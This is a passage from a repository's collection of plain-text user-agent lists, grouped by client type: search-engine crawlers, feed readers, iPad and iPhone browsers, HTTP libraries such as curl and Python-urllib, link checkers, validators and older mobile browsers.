414 | yacybot (i386 Linux 2.6.24-23-generic; java 1.6.0_16; Europe/en) http://yacy.net/bot.html
415 | yacybot (i386 Linux 2.6.23; java 1.6.0_17; Europe/en) http://yacy.net/bot.html
416 | yacybot (i386 Linux 2.6.23; java 1.6.0_04; Europe/en) http://yacy.net/bot.html
417 | yacybot (i386 Linux 2.6.22-14-generic; java 1.6.0_03; Europe/de) http://yacy.net/bot.html
418 | yacybot (amd64 Windows 7 6.1; java 1.6.0_17; Europe/de) http://yacy.net/bot.html
419 | yacybot (amd64 Linux 2.6.28-18-generic; java 1.6.0_0; Europe/en) http://yacy.net/bot.html
420 | yacybot (amd64 Linux 2.6.16-2-amd64-k8-smp; java 1.5.0_10; Europe/en) http://yacy.net/yacy/bot.html
421 | Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
422 | Mozilla/5.0 (compatible; Yahoo! Slurp China; http://misc.yahoo.com.cn/help.html)
423 | YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)
424 | YahooSeeker-Testing/v3.9 (compatible; Mozilla 4.0; MSIE 5.5; http://search.yahoo.com/)
425 | Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)
426 | Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)
427 | Yasaklibot/v1.2 (http://www.Yasakli.com/bot.php)
428 | Yeti/1.0 (NHN Corp.; http://help.naver.com/robots/)
429 | Yeti/1.0 (+http://help.naver.com/robots/)
430 | Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )
431 | yoogliFetchAgent/0.1
432 | Mozilla/5.0 (compatible; YoudaoBot/1.0; http://www.youdao.com/help/webmaster/spider/; )
433 | Zao/0.1 (http://www.kototoi.org/zao/)
434 | Zao/0.1 (http://www.kototoi.org/zao/)
435 | Mozilla/4.0 (compatible; Zealbot 1.0)
436 | zspider/0.9-dev http://feedback.redkolibri.com/
437 | Mozilla/4.0 compatible ZyBorg/1.0 DLC (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)
438 | Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)
439 | Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)
440 | Mozilla/4.0 compatible ZyBorg/1.0 (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)
441 | Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)
442 | Mozilla/4.0 compatible ZyBorg/1.0 (wn-14.zyborg@looksmart.net; http://www.WISEnutbot.com)
443 |
--------------------------------------------------------------------------------
/useragents/feedreaders.txt:
--------------------------------------------------------------------------------
1 | Bloglines/3.1 (http://www.bloglines.com)
2 | Bloglines/3.0-rho (http://www.bloglines.com; 3 subscribers)
3 | everyfeed-spider/2.0 (http://www.everyfeed.com)
4 | Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=8639390370582375869)
5 | Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=375807642710480585)
6 | Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=1992026586303346733)
7 | Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=13645798864011762265)
8 | FeedFetcher-Google; (+http://www.google.com/feedfetcher.html)
9 | GreatNews/1.0
10 | Gregarius/0.5.2 (+http://devlog.gregarius.net/docs/ua)
11 | MagpieRSS/0.7 ( http://magpierss.sf.net)
12 | NFReader/1.4.1.0 (http://www.gaijin.at/)
13 | UniversalFeedParser/3.3 +http://feedparser.org/
14 |
--------------------------------------------------------------------------------
/useragents/ipad.txt:
--------------------------------------------------------------------------------
1 | Mozilla/5.0 (iPad; CPU OS 6_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B141 Safari/8536.25
2 | Mozilla/5.0 (iPad; CPU OS 6_0_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A523 Safari/8536.25
3 | Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3
4 | Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B367 Safari/531.21.10
5 | Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10
6 | Mozilla/5.0 (iPad; CPU OS 6_1 like Mac OS X; en-us) AppleWebKit/536.26 (KHTML, like Gecko) CriOS/23.0.1271.100 Mobile/10B141 Safari/8536.25
7 | Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25
8 | Mozilla/5.0 (iPad; CPU OS 6_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Mobile/10B141
9 | Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A403 Safari/8536.25
10 | Mozilla/5.0 (iPad; CPU iPhone OS 501 like Mac OS X) AppleWebKit/534.46 (KHTML like Gecko) Version/5.1 Mobile/9A405 Safari/7534.48.3
11 | Mozilla/5.0 (iPad; CPU OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3
12 | Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B176 Safari/7534.48.3
13 | Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A407 Safari/8536.25
14 | Mozilla/5.0 (iPad; U; CPU OS 4_3_5 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) CriOS/23.0.1271.100 Mobile/8L1 Safari/6533.18.5
15 | Mozilla/5.0 (iPad; CPU OS 6_1 like Mac OS X; en-gb) AppleWebKit/536.26 (KHTML, like Gecko) CriOS/23.0.1271.100 Mobile/10B141 Safari/8536.25
16 | Mozilla/5.0 (iPad; CPU OS 6_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Mobile/10B141 AIRMobileSecureBrowser/1.0
17 | Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25
18 | Mozilla/5.0 (iPad; CPU OS 6_0_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Mobile/10A523
19 | Mozilla/5.0 (iPad; CPU OS 5_0_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A405 Safari/7534.48.3
20 | Mozilla/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5
21 |
--------------------------------------------------------------------------------
/useragents/iphone.txt:
--------------------------------------------------------------------------------
1 | Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
2 | Mozilla/5.0 (iPhone; CPU iPhone OS 6_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B143 Safari/8536.25
3 | Mozilla/5.0 (iPhone; CPU iPhone OS 6_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B142 Safari/8536.25
4 | Mozilla/5.0 (iPhone; CPU iPhone OS 6_0_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A523 Safari/8536.25
5 | Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_2 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8H7 Safari/6533.18.5
6 | Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8A293 Safari/6531.22.7
7 | Mozilla/5.0 (iPhone; CPU iPhone OS 6_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B144 Safari/8536.25
8 | Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3
9 | Mozilla/5.0 (iPhone; CPU iPhone OS 6_0_2 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A551 Safari/8536.25
10 | Mozilla/5.0 (iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3
11 | Mozilla/5.0 (iPhone; CPU iPhone OS 6_1 like Mac OS X; en-us) AppleWebKit/536.26 (KHTML, like Gecko) CriOS/23.0.1271.100 Mobile/10B143 Safari/8536.25
12 | Mozilla/5.0 (iPad; CPU iPhone OS 501 like Mac OS X) AppleWebKit/534.46 (KHTML like Gecko) Version/5.1 Mobile/9A405 Safari/7534.48.3
13 | Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B176 Safari/7534.48.3
14 | Mozilla/5.0 (iPhone; CPU iPhone OS 6_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B141 Safari/8536.25
15 | Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A403 Safari/8536.25
16 | Mozilla/5.0 (iPhone; U; CPU iPhone OS 5_0 like Mac OS X; en) AppleWebKit/528.18 (KHTML, like Gecko) Version/5.1 Mobile/7A341 Safari/528.16
17 | Mozilla/5.0 (iPhone; CPU iPhone OS 6_0_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Mercury/7.2 Mobile/10A523 Safari/8536.25
18 | Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B179 Safari/7534.48.3
19 | Mozilla/5.0 (iPhone; CPU iPhone OS 5_0_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A405 Safari/7534.48.3
20 | Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3 like Mac OS X; de-de) AppleWebKit/533.17.9 (KHTML, like Gecko) Mobile/8F190
21 |
--------------------------------------------------------------------------------
/useragents/libraries.txt:
--------------------------------------------------------------------------------
1 | BinGet/1.00.A (http://www.bin-co.com/php/scripts/load/)
2 | curl/7.9.8 (i686-pc-linux-gnu) libcurl 7.9.8 (OpenSSL 0.9.6b) (ipv6 enabled)
3 | curl/7.8 (i386-redhat-linux-gnu) libcurl 7.8 (OpenSSL 0.9.6b) (ipv6 enabled)
4 | curl/7.7.x (i386--freebsd4.3) libcurl 7.7.x (SSL 0.9.6) (ipv6 enabled)
5 | curl/7.7.2 (powerpc-apple-darwin6.0) libcurl 7.7.2 (OpenSSL 0.9.6b)
6 | curl/7.21.4 (universal-apple-darwin11.0) libcurl/7.21.4 OpenSSL/0.9.8r zlib/1.2.5
7 | curl/7.21.3 (x86_64-unknown-linux-gnu) libcurl/7.21.3 OpenSSL/1.0.0c zlib/1.2.5
8 | curl/7.21.2 (i386-pc-win32) libcurl/7.21.2 OpenSSL/0.9.8o zlib/1.2.5
9 | curl/7.21.1 (i686-pc-linux-gnu) libcurl/7.21.1 OpenSSL/1.0.0a zlib/1.2.5
10 | curl/7.21.0 (x86_64-pc-linux-gnu) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3.4 libidn/1.18 libssh2/1.2.5
11 | curl/7.21.0 (x86_64-pc-linux-gnu) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3.4 libidn/1.18
12 | curl/7.21.0 (x86_64-pc-linux-gnu) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3.4 libidn/1.15 libssh2/1.2.5
13 | curl/7.21.0 (x86_64-apple-darwin10.2.0) libcurl/7.21.0 OpenSSL/1.0.0a zlib/1.2.5 libidn/1.19
14 | curl/7.21.0 (i686-pc-linux-gnu) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3.4 libidn/1.18
15 | curl/7.21.0 (i486-pc-linux-gnu) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3.4 libidn/1.18 libssh2/1.2.6
16 | curl/7.20.0 (i686-pc-linux-gnu) libcurl/7.20.0 OpenSSL/0.9.8n zlib/1.2.4
17 | curl/7.20.0 (i386-apple-darwin9.8.0) libcurl/7.20.0 OpenSSL/0.9.8m zlib/1.2.3 libidn/1.16
18 | curl/7.19.7 (universal-apple-darwin10.0) libcurl/7.19.7 OpenSSL/0.9.8l zlib/1.2.3
19 | curl/7.19.7 (i486-pc-linux-gnu) libcurl/7.19.7 OpenSSL/0.9.8k zlib/1.2.3.3 libidn/1.15
20 | curl/7.19.7 (i386-redhat-linux-gnu) libcurl/7.19.7 NSS/3.12.5.0 zlib/1.2.3 libidn/1.9 libssh2/1.2.2
21 | curl/7.19.7 (i386-apple-darwin9.8.0) libcurl/7.19.7 zlib/1.2.3
22 | curl/7.19.6 (i686-pc-cygwin) libcurl/7.19.6 OpenSSL/0.9.8n zlib/1.2.3 libidn/1.18 libssh2/1.2
23 | curl/7.19.6 (i386-redhat-linux-gnu) libcurl/7.19.6 NSS/3.12.4.5 zlib/1.2.3 libidn/1.9 libssh2/1.2
24 | curl/7.19.6 (i386-pc-win32) libcurl/7.19.6 OpenSSL/0.9.8k zlib/1.2.3
25 | curl/7.19.5 (i586-pc-mingw32msvc) libcurl/7.19.5 zlib/1.2.3
26 | curl/7.19.5 (i486-pc-linux-gnu) libcurl/7.19.5 OpenSSL/0.9.8g zlib/1.2.3.3 libidn/1.15
27 | curl/7.19.4 (universal-apple-darwin10.0) libcurl/7.19.4 OpenSSL/0.9.8k zlib/1.2.3
28 | curl/7.19.4 (i686-pc-cygwin) libcurl/7.19.4 OpenSSL/0.9.8k zlib/1.2.3 libidn/1.9 libssh2/1.0
29 | curl/7.19.2 (i386-pc-win32) libcurl/7.19.2 OpenSSL/0.9.8i zlib/1.2.3 libidn/1.11 libssh2/0.18
30 | curl/7.19.2 (i386-pc-win32) libcurl/7.19.2 OpenSSL/0.9.8c zlib/1.2.3
31 | curl/7.19.0 (x86_64-suse-linux-gnu) libcurl/7.19.0 OpenSSL/0.9.8h zlib/1.2.3 libidn/1.10
32 | curl/7.18.2 (x86_64-pc-linux-gnu) libcurl/7.18.2 OpenSSL/0.9.8g zlib/1.2.3.3 libidn/1.8 libssh2/0.18
33 | curl/7.18.1 (i686-suse-linux-gnu) libcurl/7.18.1 OpenSSL/0.9.8g zlib/1.2.3 libidn/1.8
34 | curl/7.18.0 (x86_64-pc-linux-gnu) libcurl/7.18.0 OpenSSL/0.9.8g zlib/1.2.3.3 libidn/1.1
35 | curl/7.17.1 (x86_64-pc-linux-gnu) libcurl/7.17.1 OpenSSL/0.9.8g zlib/1.2.3
36 | curl/7.16.4 (i486-pc-linux-gnu) libcurl/7.16.4 OpenSSL/0.9.8e zlib/1.2.3.3 libidn/1.0
37 | curl/7.16.3 (powerpc-apple-darwin8.0) libcurl/7.16.3 OpenSSL/0.9.7l zlib/1.2.3
38 | curl/7.16.2 (x86_64-redhat-linux-gnu) libcurl/7.16.2 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.8
39 | curl/7.16.1 (i386-pc-win32) libcurl/7.16.1 OpenSSL/0.9.8h zlib/1.2.3
40 | curl/7.15.5 (x86_64-redhat-linux-gnu) libcurl/7.15.5 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.5
41 | curl/7.15.4 (i686-pc-linux-gnu) libcurl/7.15.4 OpenSSL/0.9.7e zlib/1.2.3
42 | curl/7.15.3 (sparc64--netbsd) libcurl/7.15.3 OpenSSL/0.9.7d zlib/1.1.4 libidn/0.6.3
43 | curl/7.15.1 (x86_64-suse-linux) libcurl/7.15.1 OpenSSL/0.9.8a zlib/1.2.3 libidn/0.6.0
44 | curl/7.15.1 (i486-pc-linux-gnu) libcurl/7.15.1 OpenSSL/0.9.8a zlib/1.2.3 libidn/0.5.18
45 | curl/7.15.0 (i386-portbld-freebsd5.4) libcurl/7.15.0 OpenSSL/0.9.7e zlib/1.2.1
46 | curl/7.14.0 (i386-portbld-freebsd5.4) libcurl/7.14.0 OpenSSL/0.9.7e zlib/1.2.1
47 | curl/7.13.2 (i386-pc-linux-gnu) libcurl/7.13.2 OpenSSL/0.9.7e zlib/1.2.2 libidn/0.5.13
48 | cURL: curl/7.13.1 (powerpc-apple-darwin8.0) libcurl/7.13.1 OpenSSL/0.9.7b zlib/1.2.2
49 | curl/7.13.1 (powerpc-apple-darwin8.0) libcurl/7.13.1 OpenSSL/0.9.7l zlib/1.2.3
50 | curl/7.12.1 (i686-redhat-linux-gnu) libcurl/7.12.1 OpenSSL/0.9.7a zlib/1.2.1.2 libidn/0.5.6
51 | curl/7.11.1 (i686-redhat-linux-gnu) libcurl/7.11.1 OpenSSL/0.9.7a ipv6 zlib/1.2.1.2
52 | curl/7.11.1 (i386-redhat-linux-gnu) libcurl/7.11.1 OpenSSL/0.9.7a ipv6 zlib/1.2.1.2
53 | curl/7.10.6 (i386-redhat-linux-gnu) libcurl/7.10.6 OpenSSL/0.9.7a ipv6 zlib/1.1.4
54 | Java/1.6.0_26
55 | Java/1.6.0_13
56 | Java/1.6.0_12
57 | Java/1.6.0_11
58 | Java/1.6.0_04
59 | Java/1.6.0_03
60 | Java/1.6.0_02
61 | Java/1.6.0-beta
62 | Java/1.5.0_11
63 | Java/1.5.0_08
64 | Java/1.5.0_06
65 | Java/1.5.0_05
66 | Java/1.5.0_04
67 | Java/1.5.0_03
68 | Java/1.5.0_02
69 | Java/1.5.0_01
70 | Java/1.5.0
71 | Java/1.4.2_11
72 | Java/1.4.2_10
73 | Java/1.4.2_09
74 | Java/1.4.2_08
75 | Java/1.4.2_07
76 | Java/1.4.2_05
77 | Java/1.4.2_04
78 | Java1.4.2_03
79 | Java/1.4.2_03
80 | Java/1.4.2_01
81 | Java/1.4.2
82 | Java/1.4.1_04
83 | Java/1.4.1_03
84 | Java/1.4.1_02
85 | Java/1.4.1_01a
86 | Java/1.4.1_01
87 | Java/1.4.1-p3
88 | Java/1.4.1
89 | Java1.4.0_03
90 | Java1.4.0_02
91 | Java1.4.0_01
92 | Java1.4.0
93 | Java1.3.1_06
94 | Java1.3.1_04
95 | Java1.3.1
96 | Java1.3.0
97 | Java1.2.2-JDeveloper
98 | Java1.2.2
99 | Java1.2.1
100 | libwww-perl/5.821
101 | libwww-perl/5.820
102 | libwww-perl/5.816
103 | libwww-perl/5.814
104 | libwww-perl/5.808
105 | libwww-perl/5.805
106 | libwww-perl/5.803
107 | libwww-perl/5.800 (+http://passoire.afraid.org/mylittlewebsurvey/index.html)
108 | libwww-perl/5.800
109 | libwww-perl/5.76
110 | libwww-perl/5.75
111 | libwww-perl/5.69
112 | libwww-perl/5.65
113 | libwww-perl/5.65
114 | libwww-perl/5.64
115 | libwww-perl/5.63
116 | libwww-perl/5.53
117 | libwww-perl/5.50
118 | libwww-perl/5.48
119 | libwww-perl/5.36
120 | Microsoft URL Control - 6.01.9782
121 | Peach/1.01 (Ubuntu 8.04 LTS; U; en)
122 | PHP/5.2.9
123 | PHP/5.2.8
124 | PHP/5.2.14
125 | PHP/5.2.11
126 | PHP/5.2.10
127 | pxyscand/2.1
128 | Python-urllib/3.1
129 | Python-urllib/3.0
130 | Python-urllib/2.7
131 | Python-urllib/2.6
132 | Python-urllib/2.5
133 | Python-urllib/2.4
134 | Python-urllib/2.1
135 | Python-urllib/2.0a1
136 | Python-urllib/1.17
137 | Python-urllib/1.16
138 | Python-urllib/1.15
139 |
--------------------------------------------------------------------------------
/useragents/linkcheckers.txt:
--------------------------------------------------------------------------------
1 | Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)
2 | Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com)
3 | Link Valet Online 1.1
4 | Link Validity Check From: http://www.w3dir.com/cgi-bin (Using: Hot Links SQL by Mrcgiguy.com)
5 | LinkExaminer/1.01 (Windows)
6 | Mozilla/5.0 (compatible; LinksManager.com_bot http://linksmanager.com/linkchecker.html)
7 | Mozilla/5.0 (compatible; LinksManager.com_bot +http://linksmanager.com/linkchecker.html)
8 | Mojoo Robot (http://www.mojoo.com/)
9 | Notifixious/LinkChecker (http://notifixio.us)
10 | online link validator (http://www.dead-links.com/)
11 | Ploetz + Zeller (http://www.ploetz-zeller.de) Link Validator v1.0 (support@p-und-z.de) for ARIS Business Architect
12 | InfoWizards Reciprocal Link System PRO - (http://www.infowizards.com)
13 | REL Link Checker Lite 1.0
14 | SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)
15 | SiteBar/3.3.5 (Bookmark Server; http://sitebar.org/)
16 | Vivante Link Checker (http://www.vivante.com)
17 | W3C-checklink/4.5 [4.160] libwww-perl/5.823
18 | W3C-checklink/4.5 [4.154] libwww-perl/5.823
19 | W3C-checklink/4.3 [4.42] libwww-perl/5.820
20 | W3C-checklink/4.3 [4.42] libwww-perl/5.808
21 | W3C-checklink/4.3 [4.42] libwww-perl/5.805
22 | W3C-checklink/4.2.1 [4.21] libwww-perl/5.803
23 | W3C-checklink/4.2 [4.20] libwww-perl/5.803
24 | W3C-checklink/3.6.2.3 libwww-perl/5.64
25 | W3C-checklink/2.90 libwww-perl/5.64
26 | Xenu Link Sleuth 1.2i
27 | Xenu Link Sleuth 1.2h
28 | Xenu Link Sleuth 1.2g
29 | Xenu Link Sleuth 1.2f
30 | Xenu Link Sleuth 1.2e
31 | Xenu Link Sleuth 1.2d
32 | Xenu Link Sleuth 1.2c
33 | Xenu Link Sleuth 1.2b
34 | Xenu Link Sleuth/1.3.7
35 |
--------------------------------------------------------------------------------
/useragents/others.txt:
--------------------------------------------------------------------------------
1 | !Susie (http://www.sync2it.com/susie)
2 | amaya/11.3.1 libwww/5.4.1
3 | amaya/11.2 libwww/5.4.0
4 | amaya/11.1 libwww/5.4.0
5 | amaya/10.1 libwww/5.4.0
6 | amaya/10 libwww/5.4.0
7 | amaya/9.55 libwww/5.4.0
8 | amaya/9.54 libwww/5.4.0
9 | amaya/9.52 libwww/5.4.0
10 | amaya/9.51 libwww/5.4.0
11 | amaya/8.8.5 libwww/5.4.0
12 | amaya/11.2 amaya/5.4.0
13 | amaya/11.1 amaya/5.4.0
14 | Cocoal.icio.us/1.0 (v43) (Mac OS X; http://www.scifihifi.com/cocoalicious)
15 | Cocoal.icio.us/1.0 (v40) (Mac OS X; http://www.scifihifi.com/cocoalicious)
16 | Cocoal.icio.us/1.0 (v38) (Mac OS X; http://www.scifihifi.com/cocoalicious)
17 | DomainsDB.net MetaCrawler v.0.9.7c (http://domainsdb.net/)
18 | GSiteCrawler/v1.20 rev. 273 (http://gsitecrawler.com/)
19 | GSiteCrawler/v1.12 rev. 260 (http://gsitecrawler.com/)
20 | GSiteCrawler/v1.06 rev. 251 (http://gsitecrawler.com/)
21 | iTunes/9.1.1
22 | iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)
23 | iTunes/9.0.3
24 | iTunes/9.0.2 (Windows; N)
25 | itunes/9.0.2 (Macintosh; Intel Mac OS X 10.4.11) AppleWebKit/531.21.8
26 | iTunes/9.0 (Macintosh; Intel Mac OS X 10.5.8) AppleWebKit/531.9
27 | iTunes/9.0 (Macintosh; Intel Mac OS X 10.5.8)
28 | iTunes/9.0
29 | iTunes/8.2 (Macintosh; U; PPC Mac OS X 10_5_6)
30 | iTunes/8.1.1 (Windows; U)
31 | iTunes/8.1.1 (Windows; N)
32 | iTunes/8.1
33 | iTunes/8.0
34 | iTunes/7.6.2.9
35 | iTunes/7.5 (Macintosh; N; PPC)
36 | iTunes/7.4.1
37 | iTunes/7.1.1 (Macintosh; N; PPC)
38 | iTunes/7.0.1 (Windows; N)
39 | iTunes/7.0 (Macintosh; U; PPC Mac OS X 10.4.7)
40 | iTunes/4.8 (Macintosh; U; PPC Mac OS X 10.4.1)
41 | iTunes/4.7 (Macintosh; U; PPC Mac OS X 10.2)
42 | iTunes/4.7 (Macintosh; N; PPC)
43 | iTunes/4.2 (Macintosh; U; PPC Mac OS X 10.2)
44 | iTunes/4.0 (Macintosh; U; PPC Mac OS X 10.2)
45 | lftp/4.3.8
46 | lftp/4.3.5
47 | MetaURI API/2.0 metauri.com
48 | Nitro PDF Download
49 | Snoopy v1.2
50 | URD-MAGPIE/0.73 (Cached)
51 | Mozilla/4.0 (compatible; WebCapture 3.0; Windows)
52 | Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)
53 | Mozilla/3.0 (compatible; WebCapture 2.0; Windows)
54 | Mozilla/3.0 (compatible; WebCapture 1.0; Windows)
55 | Windows-Media-Player/11.0.5721.5145
56 | Windows-Media-Player/10.00.00.xxxx
57 | Windows-Media-Player/10.00.00.4036
58 | Windows-Media-Player/10.00.00.3646
59 | Windows-Media-Player/9.00.00.4503
60 | Windows-Media-Player/9.00.00.3250
61 |
--------------------------------------------------------------------------------
/useragents/validators.txt:
--------------------------------------------------------------------------------
1 | CSE HTML Validator Lite Online (http://online.htmlvalidator.com/php/onlinevallite.php)
2 | CSSCheck/1.2.2
3 | Cynthia 1.0
4 | HTMLParser/1.6
5 | P3P Validator
6 | Jigsaw/2.2.5 W3C_CSS_Validator_JFouffa/2.0
7 | W3C_Validator/1.654
8 | W3C_Validator/1.606
9 | W3C_Validator/1.591
10 | W3C_Validator/1.575
11 | W3C_Validator/1.555
12 | W3C_Validator/1.432.2.5
13 | W3C_Validator/1.432.2.22
14 | W3C_Validator/1.432.2.19
15 | W3C_Validator/1.432.2.10
16 | W3C_Validator/1.305.2.12 libwww-perl/5.64
17 | WDG_Validator/1.6.2
18 |
--------------------------------------------------------------------------------
/useragents/zytrax-browserid.txt:
--------------------------------------------------------------------------------
1 | Mozilla/5.0 (Danger hiptop 3.4; U; AvantGo 3.2)
2 | Mozilla/3.0 (compatible; AvantGo 3.2)
3 | Mozilla/5.0 (compatible; AvantGo 3.2; ProxiNet; Danger hiptop 1.0)
4 | Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; BOLT/2.800) AppleWebKit/534.6 (KHTML, like Gecko) Version/5.0 Safari/534.6.3
5 | DoCoMo/1.0/P502i/c10 (Google CHTML Proxy/1.0)
6 | DoCoMo/2.0 SH901iC(c100;TB;W24H12)
7 | DoCoMo/1.0/N503is/c10
8 | KDDI-KC31 UP.Browser/6.2.0.5 (GUI) MMP/2.0
9 | UP.Browser/3.04-TS14 UP.Link/3.4.4
10 | Vodafone/1.0/V802SE/SEJ001 Browser/SEMC-Browser/4.1
11 | J-PHONE/5.0/V801SA/SN123456789012345 SA/0001JP Profile/MIDP-1.0
12 | Mozilla/3.0(DDIPOCKET;JRC/AH-J3001V,AH-J3002V/1.0/0100/c50)CNF/2.0
13 | PDXGW/1.0 (TX=8;TY=6;GX=96;GY=64;C=G2;G=B2;GI=0)
14 | ASTEL/1.0/J-0511.00/c10/smel
15 | Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16
16 | Mozilla/5.0 (Linux; U; Android 2.3.5; en-gb; HTC Desire HD A9191 Build/GRJ90) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
17 | Mozilla/1.22 (compatible; MSIE 5.01; PalmOS 3.0) EudoraWeb 2.1
18 | Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320)
19 | Mozilla/2.0 (compatible; MSIE 3.02; Windows CE; PPC; 240x320)
20 | Mozilla/5.0 (X11; U; Linux armv6l; rv 1.8.1.5pre) Gecko/20070619 Minimo/0.020
21 | Mozilla/5.0 (Windows; U; Windows CE 5.1; rv:1.8.1a3) Gecko/20060610 Minimo/0.016
22 | OPWV-SDK UP.Browser/7.0.2.3.119 (GUI) MMP/2.0 Push/PO
23 | UP.Browser/6.1.0.1.140 (Google CHTML Proxy/1.0)
24 | Mozilla/4.0 (compatible; MSIE 5.0; PalmOS) PLink 2.56b
25 | Mozilla/5.0 (PDA; NF35WMPRO/1.0; like Gecko) NetFront/3.5
26 | Mozilla/4.08 (Windows; Mobile Content Viewer/1.0) NetFront/3.2
27 | Mozilla/4.0 (PS2; PlayStation BB Navigator 1.0) NetFront/3.0
28 | Mozilla/4.0 (PDA; PalmOS/sony/model crdb/Revision:1.1.36(de)) NetFront/3.0
29 | Mozilla/4.0 (PDA; PalmOS/sony/model prmr/Revision:1.1.54 (en)) NetFront/3.0
30 | Mozilla/4.0 (PDA; Windows CE/0.9.3) NetFront/3.0
31 | Mozilla/4.0 (PDA; Windows CE/1.0.1) NetFront/3.0
